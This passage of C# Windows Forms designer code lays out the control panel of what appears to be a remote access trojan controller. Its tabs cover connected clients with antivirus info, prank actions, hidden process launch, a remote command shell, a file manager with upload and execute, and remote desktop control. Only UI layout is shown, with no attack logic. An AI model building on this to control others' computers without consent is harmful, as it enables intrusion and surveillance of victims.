this.button15 = new System.Windows.Forms.Button();
this.tabPage6 = new System.Windows.Forms.TabPage();
this.listView3 = new System.Windows.Forms.ListView();
this.columnHeader12 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader13 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader14 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader15 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip3 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.listDrivesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.enterDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.moveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.copyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.pasteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.currentDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.selectedDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.uploadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.currentDirectoryToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.selectedDirectoryToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.editToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.attributesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.hideToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.showToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.directoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.tabPage7 = new System.Windows.Forms.TabPage();
this.button19 = new System.Windows.Forms.Button();
this.button18 = new System.Windows.Forms.Button();
this.button17 = new System.Windows.Forms.Button();
this.button16 = new System.Windows.Forms.Button();
this.richTextBox3 = new System.Windows.Forms.RichTextBox();
this.tabPage8 = new System.Windows.Forms.TabPage();
this.lblQualityShow = new System.Windows.Forms.Label();
this.lblChooseScreen = new System.Windows.Forms.Label();
this.cmboChooseScreen = new System.Windows.Forms.ComboBox();
this.btnCountScreens = new System.Windows.Forms.Button();
this.btnStartTaskManager = new System.Windows.Forms.Button();
this.txtBControlKeyboard = new System.Windows.Forms.TextBox();
this.label34 = new System.Windows.Forms.Label();
this.trackBar1 = new System.Windows.Forms.TrackBar();
this.btnFullScreenMode = new System.Windows.Forms.Button();
this.checkBoxrKeyboard = new System.Windows.Forms.CheckBox();
this.checkBoxrMouse = new System.Windows.Forms.CheckBox();
this.button22 = new System.Windows.Forms.Button();
this.button21 = new System.Windows.Forms.Button();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.tabPage9 = new System.Windows.Forms.TabPage();
this.button25 = new System.Windows.Forms.Button();
this.listView4 = new System.Windows.Forms.ListView();
this.columnHeader16 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader17 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.button24 = new System.Windows.Forms.Button();
this.tabPage10 = new System.Windows.Forms.TabPage();
this.button27 = new System.Windows.Forms.Button();
this.button26 = new System.Windows.Forms.Button();
this.listView5 = new System.Windows.Forms.ListView();
this.columnHeader18 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader19 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.pictureBox2 = new System.Windows.Forms.PictureBox();
this.tabPage11 = new System.Windows.Forms.TabPage();
this.button30 = new System.Windows.Forms.Button();
this.button29 = new System.Windows.Forms.Button();
this.button28 = new System.Windows.Forms.Button();
this.groupBox2 = new System.Windows.Forms.GroupBox();
this.numericUpDown4 = new System.Windows.Forms.NumericUpDown();
this.numericUpDown3 = new System.Windows.Forms.NumericUpDown();
this.checkBox3 = new System.Windows.Forms.CheckBox();
this.label25 = new System.Windows.Forms.Label();
this.label26 = new System.Windows.Forms.Label();
this.groupBox1 = new System.Windows.Forms.GroupBox();
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
this.comboBox5 = new System.Windows.Forms.ComboBox();
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
this.textBox6 = new System.Windows.Forms.TextBox();
this.label22 = new System.Windows.Forms.Label();
this.label21 = new System.Windows.Forms.Label();
this.label20 = new System.Windows.Forms.Label();
this.label19 = new System.Windows.Forms.Label();
this.label18 = new System.Windows.Forms.Label();
this.tabPage12 = new System.Windows.Forms.TabPage();
this.button32 = new System.Windows.Forms.Button();
this.button31 = new System.Windows.Forms.Button();
this.label23 = new System.Windows.Forms.Label();
this.listView6 = new System.Windows.Forms.ListView();
this.columnHeader20 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader21 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader22 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.tabPage13 = new System.Windows.Forms.TabPage();
this.label36 = new System.Windows.Forms.Label();
this.progressBar1 = new System.Windows.Forms.ProgressBar();
this.button23 = new System.Windows.Forms.Button();
this.comboBox7 = new System.Windows.Forms.ComboBox();
this.label35 = new System.Windows.Forms.Label();
this.button20 = new System.Windows.Forms.Button();
this.button33 = new System.Windows.Forms.Button();
this.label27 = new System.Windows.Forms.Label();
this.tabPage14 = new System.Windows.Forms.TabPage();
this.button34 = new System.Windows.Forms.Button();
this.label28 = new System.Windows.Forms.Label();
this.tabPage15 = new System.Windows.Forms.TabPage();
this.button39 = new System.Windows.Forms.Button();
this.button38 = new System.Windows.Forms.Button();
this.button37 = new System.Windows.Forms.Button();
this.button36 = new System.Windows.Forms.Button();
this.button35 = new System.Windows.Forms.Button();
this.comboBox6 = new System.Windows.Forms.ComboBox();
this.label33 = new System.Windows.Forms.Label();
this.label32 = new System.Windows.Forms.Label();
this.label31 = new System.Windows.Forms.Label();
this.label30 = new System.Windows.Forms.Label();
this.label29 = new System.Windows.Forms.Label();
this.listBox1 = new System.Windows.Forms.ListBox();
this.tabControl1.SuspendLayout();
this.tabPage1.SuspendLayout();
this.tabPage2.SuspendLayout();
this.tabPage3.SuspendLayout();
this.tabPage4.SuspendLayout();
this.contextMenuStrip2.SuspendLayout();
this.tabPage5.SuspendLayout();
this.tabPage6.SuspendLayout();
this.contextMenuStrip3.SuspendLayout();
this.tabPage7.SuspendLayout();
this.tabPage8.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.trackBar1)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.tabPage9.SuspendLayout();
this.tabPage10.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit();
this.tabPage11.SuspendLayout();
this.groupBox2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).BeginInit();
this.groupBox1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
this.tabPage12.SuspendLayout();
this.tabPage13.SuspendLayout();
this.tabPage14.SuspendLayout();
this.tabPage15.SuspendLayout();
this.SuspendLayout();
//
// tabControl1
//
this.tabControl1.Controls.Add(this.tabPage1);
this.tabControl1.Controls.Add(this.tabPage2);
this.tabControl1.Controls.Add(this.tabPage3);
this.tabControl1.Controls.Add(this.tabPage4);
this.tabControl1.Controls.Add(this.tabPage5);
this.tabControl1.Controls.Add(this.tabPage6);
this.tabControl1.Controls.Add(this.tabPage7);
this.tabControl1.Controls.Add(this.tabPage8);
this.tabControl1.Controls.Add(this.tabPage9);
this.tabControl1.Controls.Add(this.tabPage10);
this.tabControl1.Controls.Add(this.tabPage11);
this.tabControl1.Controls.Add(this.tabPage12);
this.tabControl1.Controls.Add(this.tabPage13);
this.tabControl1.Controls.Add(this.tabPage14);
this.tabControl1.Controls.Add(this.tabPage15);
this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.tabControl1.Location = new System.Drawing.Point(0, 0);
this.tabControl1.Name = "tabControl1";
this.tabControl1.SelectedIndex = 0;
this.tabControl1.Size = new System.Drawing.Size(909, 576);
this.tabControl1.TabIndex = 0;
this.tabControl1.Click += new System.EventHandler(this.tabControl1_Click);
//
// tabPage1
//
this.tabPage1.Controls.Add(this.label24);
this.tabPage1.Controls.Add(this.label2);
this.tabPage1.Controls.Add(this.button2);
this.tabPage1.Controls.Add(this.listView1);
this.tabPage1.Controls.Add(this.button1);
this.tabPage1.Controls.Add(this.label1);
this.tabPage1.Location = new System.Drawing.Point(4, 22);
this.tabPage1.Name = "tabPage1";
this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
this.tabPage1.Size = new System.Drawing.Size(901, 550);
this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "Setup";
this.tabPage1.UseVisualStyleBackColor = true;
//
// label24
//
this.label24.AutoSize = true;
this.label24.Location = new System.Drawing.Point(21, 57);
this.label24.Name = "label24";
this.label24.Size = new System.Drawing.Size(70, 13);
this.label24.TabIndex = 6;
this.label24.Text = "Live Updates";
//
// label2
//
this.label2.AutoSize = true;
this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238)));
this.label2.Location = new System.Drawing.Point(557, 178);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(81, 20);
this.label2.TabIndex = 4;
this.label2.Text = "Client Info";
//
// button2
//
this.button2.Location = new System.Drawing.Point(557, 134);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(156, 23);
this.button2.TabIndex = 3;
this.button2.Text = "Control Selected Servers";
this.button2.UseVisualStyleBackColor = true;
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// listView1
//
this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.columnHeader1,
this.columnHeader2,
this.columnHeader3,
this.columnHeader4,
this.columnHeader5});
this.listView1.FullRowSelect = true;
this.listView1.GridLines = true;
this.listView1.Location = new System.Drawing.Point(10, 105);
this.listView1.MultiSelect = false;
this.listView1.Name = "listView1";
this.listView1.Size = new System.Drawing.Size(541, 384);
this.listView1.TabIndex = 2;
this.listView1.UseCompatibleStateImageBehavior = false;
this.listView1.View = System.Windows.Forms.View.Details;
this.listView1.SelectedIndexChanged += new System.EventHandler(this.listView1_SelectedIndexChanged);
//
// columnHeader1
//
this.columnHeader1.Text = "Client ID";
//
// columnHeader2
//
this.columnHeader2.Text = "Pc Name";
this.columnHeader2.Width = 113;
//
// columnHeader3
//
this.columnHeader3.Text = "Lan IP";
this.columnHeader3.Width = 115;
//
// columnHeader4
//
this.columnHeader4.Text = "Time";
this.columnHeader4.Width = 123;
//
// columnHeader5
//
this.columnHeader5.Text = "AV";
this.columnHeader5.Width = 116;
//
// button1
//
this.button1.Location = new System.Drawing.Point(201, 20);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(134, 23);
this.button1.TabIndex = 1;
this.button1.Text = "Start Server";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// label1
//
this.label1.AutoSize = true;
this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238)));
this.label1.Location = new System.Drawing.Point(6, 20);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(106, 20);
this.label1.TabIndex = 0;
this.label1.Text = "Server Status";
//
// tabPage2
//
this.tabPage2.Controls.Add(this.button6);
this.tabPage2.Controls.Add(this.label12);
this.tabPage2.Controls.Add(this.richTextBox1);
this.tabPage2.Controls.Add(this.label11);
this.tabPage2.Controls.Add(this.button5);
this.tabPage2.Controls.Add(this.comboBox3);
this.tabPage2.Controls.Add(this.label10);
this.tabPage2.Controls.Add(this.button4);
this.tabPage2.Controls.Add(this.button3);
this.tabPage2.Controls.Add(this.textBox3);
this.tabPage2.Controls.Add(this.label9);
this.tabPage2.Controls.Add(this.label8);
this.tabPage2.Controls.Add(this.label7);
this.tabPage2.Controls.Add(this.label6);
this.tabPage2.Controls.Add(this.label5);
this.tabPage2.Controls.Add(this.label4);
this.tabPage2.Controls.Add(this.comboBox2);
this.tabPage2.Controls.Add(this.comboBox1);
this.tabPage2.Controls.Add(this.textBox2);
this.tabPage2.Controls.Add(this.textBox1);
this.tabPage2.Controls.Add(this.label3);
this.tabPage2.Location = new System.Drawing.Point(4, 22);
this.tabPage2.Name = "tabPage2";
this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
this.tabPage2.Size = new System.Drawing.Size(901, 550);
this.tabPage2.TabIndex = 1;
this.tabPage2.Text = "Fun Menu";
this.tabPage2.UseVisualStyleBackColor = true;
//
// button6
//
this.button6.Location = new System.Drawing.Point(610, 322);
this.button6.Name = "button6";
this.button6.Size = new System.Drawing.Size(100, 23);
this.button6.TabIndex = 20;
this.button6.Text = "Start Speak";
this.button6.UseVisualStyleBackColor = true;
this.button6.Click += new System.EventHandler(this.button6_Click);
//
// label12
//
this.label12.AutoSize = true;
this.label12.Location = new System.Drawing.Point(437, 118);
this.label12.Name = "label12";
this.label12.Size = new System.Drawing.Size(28, 13);
this.label12.TabIndex = 19;
this.label12.Text = "Text";
//
// richTextBox1
//
this.richTextBox1.Location = new System.Drawing.Point(471, 115);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.Size = new System.Drawing.Size(374, 201);
this.richTextBox1.TabIndex = 18;
this.richTextBox1.Text = "";
//
// label11
//
this.label11.AutoSize = true;
this.label11.Location = new System.Drawing.Point(414, 84);
this.label11.Name = "label11";
this.label11.Size = new System.Drawing.Size(130, 13);
this.label11.TabIndex = 17;
this.label11.Text = "Microsoft Text To Speech";
//
// button5
//
this.button5.Location = new System.Drawing.Point(664, 38);
this.button5.Name = "button5";
this.button5.Size = new System.Drawing.Size(75, 23);
this.button5.TabIndex = 16;
this.button5.Text = "Play";
this.button5.UseVisualStyleBackColor = true;
this.button5.Click += new System.EventHandler(this.button5_Click);
//
// comboBox3
//
this.comboBox3.FormattingEnabled = true;
this.comboBox3.Items.AddRange(new object[] {
"Error",
"Warning",
"Information",
"Beep"});
this.comboBox3.Location = new System.Drawing.Point(471, 40);
this.comboBox3.Name = "comboBox3";
this.comboBox3.Size = new System.Drawing.Size(176, 21);
this.comboBox3.TabIndex = 15;
//
// label10
//
this.label10.AutoSize = true;
this.label10.Location = new System.Drawing.Point(414, 12);
this.label10.Name = "label10";
this.label10.Size = new System.Drawing.Size(103, 13);
this.label10.TabIndex = 14;
this.label10.Text = "Play System Sounds";
//
// button4
//
this.button4.Location = new System.Drawing.Point(153, 348);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(75, 23);
this.button4.TabIndex = 13;
this.button4.Text = "Play";
this.button4.UseVisualStyleBackColor = true;
this.button4.Click += new System.EventHandler(this.button4_Click);
//
// button3
//
this.button3.Location = new System.Drawing.Point(129, 197);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(75, 23);
this.button3.TabIndex = 12;
this.button3.Text = "Post";
this.button3.UseVisualStyleBackColor = true;
this.button3.Click += new System.EventHandler(this.button3_Click);
//
// textBox3
//
this.textBox3.Location = new System.Drawing.Point(89, 296);
this.textBox3.Name = "textBox3";
this.textBox3.Size = new System.Drawing.Size(232, 20);
this.textBox3.TabIndex = 11;
//
// label9
//
this.label9.AutoSize = true;
this.label9.Location = new System.Drawing.Point(20, 299);
this.label9.Name = "label9";
this.label9.Size = new System.Drawing.Size(57, 13);
this.label9.TabIndex = 10;
this.label9.Text = "Frequency";
//
// label8
//
this.label8.AutoSize = true;
this.label8.Location = new System.Drawing.Point(8, 257);
this.label8.Name = "label8";
this.label8.Size = new System.Drawing.Size(80, 13);
this.label8.TabIndex = 9;
this.label8.Text = "Play Frequency";
//
// label7
//
this.label7.AutoSize = true;
this.label7.Location = new System.Drawing.Point(19, 147);
this.label7.Name = "label7";
this.label7.Size = new System.Drawing.Size(43, 13);
this.label7.TabIndex = 8;
this.label7.Text = "Buttons";
//
// label6
//
this.label6.AutoSize = true;
this.label6.Location = new System.Drawing.Point(19, 115);
this.label6.Name = "label6";
this.label6.Size = new System.Drawing.Size(28, 13);
this.label6.TabIndex = 7;
this.label6.Text = "Icon";
//
// label5
//
this.label5.AutoSize = true;
this.label5.Location = new System.Drawing.Point(19, 80);
this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(28, 13);
this.label5.TabIndex = 6;
this.label5.Text = "Text";
//
// label4
//
this.label4.AutoSize = true;
this.label4.Location = new System.Drawing.Point(19, 44);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(27, 13);
this.label4.TabIndex = 5;
this.label4.Text = "Title";
//
// comboBox2
//
this.comboBox2.FormattingEnabled = true;
this.comboBox2.Items.AddRange(new object[] {
"Ok",
"Yes No",
"Ok Cancel",
"Abort Retry Ignore",
"Yes No Cancel"});
this.comboBox2.Location = new System.Drawing.Point(89, 139);
this.comboBox2.Name = "comboBox2";
this.comboBox2.Size = new System.Drawing.Size(232, 21);
this.comboBox2.TabIndex = 4;
//
// comboBox1
//
this.comboBox1.FormattingEnabled = true;
this.comboBox1.Items.AddRange(new object[] {
"Error",
"Warning",
"Information",
"Question",
"None"});
this.comboBox1.Location = new System.Drawing.Point(89, 112);
this.comboBox1.Name = "comboBox1";
this.comboBox1.Size = new System.Drawing.Size(232, 21);
this.comboBox1.TabIndex = 3;
//
// textBox2
//
this.textBox2.Location = new System.Drawing.Point(89, 77);
this.textBox2.Name = "textBox2";
this.textBox2.Size = new System.Drawing.Size(232, 20);
this.textBox2.TabIndex = 2;
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(89, 41);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(232, 20);
this.textBox1.TabIndex = 1;
//
// label3
//
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(6, 12);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(71, 13);
this.label3.TabIndex = 0;
this.label3.Text = "Message Box";
//
// tabPage3
//
this.tabPage3.Controls.Add(this.button13);
this.tabPage3.Controls.Add(this.button12);
this.tabPage3.Controls.Add(this.label14);
this.tabPage3.Controls.Add(this.button11);
this.tabPage3.Controls.Add(this.button10);
this.tabPage3.Controls.Add(this.button9);
this.tabPage3.Controls.Add(this.button8);
this.tabPage3.Controls.Add(this.button7);
this.tabPage3.Controls.Add(this.label13);
this.tabPage3.Location = new System.Drawing.Point(4, 22);
this.tabPage3.Name = "tabPage3";
this.tabPage3.Size = new System.Drawing.Size(901, 550);
this.tabPage3.TabIndex = 2;
this.tabPage3.Text = "Fun Menu 2";
this.tabPage3.UseVisualStyleBackColor = true;
//
// button13
//
this.button13.Location = new System.Drawing.Point(597, 49);
this.button13.Name = "button13";
this.button13.Size = new System.Drawing.Size(75, 23);
this.button13.TabIndex = 8;
this.button13.Text = "Close";
this.button13.UseVisualStyleBackColor = true;
this.button13.Click += new System.EventHandler(this.button13_Click);
//
// button12
//
this.button12.Location = new System.Drawing.Point(472, 49);
this.button12.Name = "button12";
this.button12.Size = new System.Drawing.Size(75, 23);
this.button12.TabIndex = 7;
this.button12.Text = "Open";
this.button12.UseVisualStyleBackColor = true;
this.button12.Click += new System.EventHandler(this.button12_Click);
//
// label14
//
this.label14.AutoSize = true;
this.label14.Location = new System.Drawing.Point(441, 16);
this.label14.Name = "label14";
this.label14.Size = new System.Drawing.Size(46, 13);
this.label14.TabIndex = 6;
this.label14.Text = "CD Tray";
//
// button11
//
this.button11.Location = new System.Drawing.Point(97, 302);
this.button11.Name = "button11";
this.button11.Size = new System.Drawing.Size(203, 23);
this.button11.TabIndex = 5;
this.button11.Text = "Start Menu: Visible";
this.button11.UseVisualStyleBackColor = true;
this.button11.Click += new System.EventHandler(this.button11_Click);
//
// button10
//
this.button10.Location = new System.Drawing.Point(97, 252);
this.button10.Name = "button10";
this.button10.Size = new System.Drawing.Size(203, 23);
this.button10.TabIndex = 4;
this.button10.Text = "Tray Icons: Visible";
this.button10.UseVisualStyleBackColor = true;
this.button10.Click += new System.EventHandler(this.button10_Click);
//
// button9
//
this.button9.Location = new System.Drawing.Point(97, 200);
this.button9.Name = "button9";
this.button9.Size = new System.Drawing.Size(203, 23);
this.button9.TabIndex = 3;
this.button9.Text = "Desktop Icons: Visible";
this.button9.UseVisualStyleBackColor = true;
this.button9.Click += new System.EventHandler(this.button9_Click);
//
// button8
//
this.button8.Location = new System.Drawing.Point(97, 148);
this.button8.Name = "button8";
this.button8.Size = new System.Drawing.Size(203, 23);
this.button8.TabIndex = 2;
this.button8.Text = "Task Bar: Visible";
this.button8.UseVisualStyleBackColor = true;
this.button8.Click += new System.EventHandler(this.button8_Click);
//
// button7
//
this.button7.Location = new System.Drawing.Point(97, 97);
this.button7.Name = "button7";
this.button7.Size = new System.Drawing.Size(203, 23);
this.button7.TabIndex = 1;
this.button7.Text = "Clock: Visible";
this.button7.UseVisualStyleBackColor = true;
this.button7.Click += new System.EventHandler(this.button7_Click);
//
// label13
//
this.label13.AutoSize = true;
this.label13.Location = new System.Drawing.Point(8, 16);
this.label13.Name = "label13";
this.label13.Size = new System.Drawing.Size(97, 13);
this.label13.TabIndex = 0;
this.label13.Text = "Windows Elements";
//
// tabPage4
//
this.tabPage4.Controls.Add(this.button14);
this.tabPage4.Controls.Add(this.comboBox4);
this.tabPage4.Controls.Add(this.textBox4);
this.tabPage4.Controls.Add(this.label17);
this.tabPage4.Controls.Add(this.label16);
this.tabPage4.Controls.Add(this.label15);
this.tabPage4.Controls.Add(this.listView2);
this.tabPage4.Location = new System.Drawing.Point(4, 22);
this.tabPage4.Name = "tabPage4";
this.tabPage4.Size = new System.Drawing.Size(901, 550);
this.tabPage4.TabIndex = 3;
this.tabPage4.Text = "Processes";
this.tabPage4.UseVisualStyleBackColor = true;
//
// button14
//
this.button14.Location = new System.Drawing.Point(425, 458);
this.button14.Name = "button14";
this.button14.Size = new System.Drawing.Size(116, 23);
this.button14.TabIndex = 6;
this.button14.Text = "Create Process";
this.button14.UseVisualStyleBackColor = true;
this.button14.Click += new System.EventHandler(this.button14_Click);
//
// comboBox4
//
this.comboBox4.FormattingEnabled = true;
this.comboBox4.Items.AddRange(new object[] {
"Normal",
"Hidden"});
this.comboBox4.Location = new System.Drawing.Point(298, 460);
this.comboBox4.Name = "comboBox4";
this.comboBox4.Size = new System.Drawing.Size(121, 21);
this.comboBox4.TabIndex = 5;
this.comboBox4.Text = "Visibility";
//
// textBox4
//
this.textBox4.Location = new System.Drawing.Point(96, 460);
this.textBox4.Name = "textBox4";
this.textBox4.Size = new System.Drawing.Size(196, 20);
this.textBox4.TabIndex = 4;
//
// label17
//
this.label17.AutoSize = true;
this.label17.Location = new System.Drawing.Point(41, 463);
this.label17.Name = "label17";
this.label17.Size = new System.Drawing.Size(49, 13);
this.label17.TabIndex = 3;
this.label17.Text = "Filename";
//
// label16
//
this.label16.AutoSize = true;
this.label16.Location = new System.Drawing.Point(8, 435);
this.label16.Name = "label16";
this.label16.Size = new System.Drawing.Size(104, 13);
this.label16.TabIndex = 2;
this.label16.Text = "Create New Process";
//
// label15
//
this.label15.AutoSize = true;
this.label15.Location = new System.Drawing.Point(8, 12);
this.label15.Name = "label15";
this.label15.Size = new System.Drawing.Size(64, 13);
this.label15.TabIndex = 1;
this.label15.Text = "Process List";
//
// listView2
//
this.listView2.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.columnHeader6,
this.columnHeader7,
this.columnHeader8,
this.columnHeader9,
this.columnHeader10,
this.columnHeader11});
this.listView2.ContextMenuStrip = this.contextMenuStrip2;
this.listView2.FullRowSelect = true;
this.listView2.GridLines = true;
this.listView2.Location = new System.Drawing.Point(26, 28);
this.listView2.Name = "listView2";
this.listView2.Size = new System.Drawing.Size(867, 375);
this.listView2.TabIndex = 0;
this.listView2.UseCompatibleStateImageBehavior = false;
this.listView2.View = System.Windows.Forms.View.Details;
//
// columnHeader6
//
this.columnHeader6.Text = "Process Name";
this.columnHeader6.Width = 96;
//
// columnHeader7
//
this.columnHeader7.Text = "PID";
//
// columnHeader8
//
this.columnHeader8.Text = "Respoding";
this.columnHeader8.Width = 70;
//
// columnHeader9
//
this.columnHeader9.Text = "Title";
//
// columnHeader10
//
this.columnHeader10.Text = "Priority";
//
// columnHeader11
//
this.columnHeader11.Text = "Path";
//
// contextMenuStrip2
//
this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.killToolStripMenuItem,
this.refreshToolStripMenuItem1});
this.contextMenuStrip2.Name = "contextMenuStrip2";
this.contextMenuStrip2.Size = new System.Drawing.Size(114, 48);
//
// killToolStripMenuItem
//
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
this.killToolStripMenuItem.Size = new System.Drawing.Size(113, 22);
this.killToolStripMenuItem.Text = "Kill";
this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click);
//
// refreshToolStripMenuItem1
//
this.refreshToolStripMenuItem1.Name = "refreshToolStripMenuItem1";
this.refreshToolStripMenuItem1.Size = new System.Drawing.Size(113, 22);
this.refreshToolStripMenuItem1.Text = "Refresh";
this.refreshToolStripMenuItem1.Click += new System.EventHandler(this.refreshToolStripMenuItem1_Click);
//
// tabPage5
//
this.tabPage5.Controls.Add(this.textBox5);
this.tabPage5.Controls.Add(this.richTextBox2);
this.tabPage5.Controls.Add(this.button15);
this.tabPage5.Location = new System.Drawing.Point(4, 22);
this.tabPage5.Name = "tabPage5";
this.tabPage5.Size = new System.Drawing.Size(901, 550);
this.tabPage5.TabIndex = 4;
this.tabPage5.Text = "Remote Cmd";
this.tabPage5.UseVisualStyleBackColor = true;
//
// textBox5
//
this.textBox5.Location = new System.Drawing.Point(8, 469);
this.textBox5.Name = "textBox5";
this.textBox5.Size = new System.Drawing.Size(885, 20);
this.textBox5.TabIndex = 2;
this.textBox5.Tag = "rcmd";
this.textBox5.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox5_KeyDown);
//
// richTextBox2
//
this.richTextBox2.BackColor = System.Drawing.Color.Black;
this.richTextBox2.ForeColor = System.Drawing.Color.White;
this.richTextBox2.Location = new System.Drawing.Point(8, 42);
this.richTextBox2.Name = "richTextBox2";
this.richTextBox2.Size = new System.Drawing.Size(885, 425);
this.richTextBox2.TabIndex = 1;
this.richTextBox2.Text = "";
//
// button15
//
this.button15.Location = new System.Drawing.Point(8, 13);
this.button15.Name = "button15";
this.button15.Size = new System.Drawing.Size(113, 23);
this.button15.TabIndex = 0;
this.button15.Text = "Start Cmd";
this.button15.UseVisualStyleBackColor = true;
this.button15.Click += new System.EventHandler(this.button15_Click);
//
// tabPage6
//
this.tabPage6.Controls.Add(this.listView3);
this.tabPage6.Location = new System.Drawing.Point(4, 22);
this.tabPage6.Name = "tabPage6";
this.tabPage6.Size = new System.Drawing.Size(901, 550);
this.tabPage6.TabIndex = 5;
this.tabPage6.Text = "Files";
this.tabPage6.UseVisualStyleBackColor = true;
//
// listView3
//
this.listView3.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.columnHeader12,
this.columnHeader13,
this.columnHeader14,
this.columnHeader15});
this.listView3.ContextMenuStrip = this.contextMenuStrip3;
this.listView3.FullRowSelect = true;
this.listView3.Location = new System.Drawing.Point(8, 3);
this.listView3.Name = "listView3";
this.listView3.Size = new System.Drawing.Size(885, 477);
this.listView3.TabIndex = 0;
this.listView3.UseCompatibleStateImageBehavior = false;
this.listView3.View = System.Windows.Forms.View.Details;
//
// columnHeader12
//
this.columnHeader12.Text = "File name";
this.columnHeader12.Width = 152;
//
// columnHeader13
//
this.columnHeader13.Text = "File Size";
this.columnHeader13.Width = 88;
//
// columnHeader14
//
this.columnHeader14.Text = "Creation Time";
this.columnHeader14.Width = 122;
//
// columnHeader15
//
this.columnHeader15.Text = "Full Path";
this.columnHeader15.Width = 510;
//
// contextMenuStrip3
//
this.contextMenuStrip3.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.listDrivesToolStripMenuItem,
this.enterDirectoryToolStripMenuItem,
this.toolStripMenuItem1,
this.moveToolStripMenuItem,
this.copyToolStripMenuItem,
this.pasteToolStripMenuItem,
this.executeToolStripMenuItem,
this.uploadToolStripMenuItem,
this.downloadToolStripMenuItem,
this.editToolStripMenuItem,
this.attributesToolStripMenuItem,
this.deleteToolStripMenuItem,
this.renameToolStripMenuItem,
this.newToolStripMenuItem});
this.contextMenuStrip3.Name = "contextMenuStrip3";
this.contextMenuStrip3.Size = new System.Drawing.Size(153, 312);
//
// listDrivesToolStripMenuItem
//
this.listDrivesToolStripMenuItem.Name = "listDrivesToolStripMenuItem";
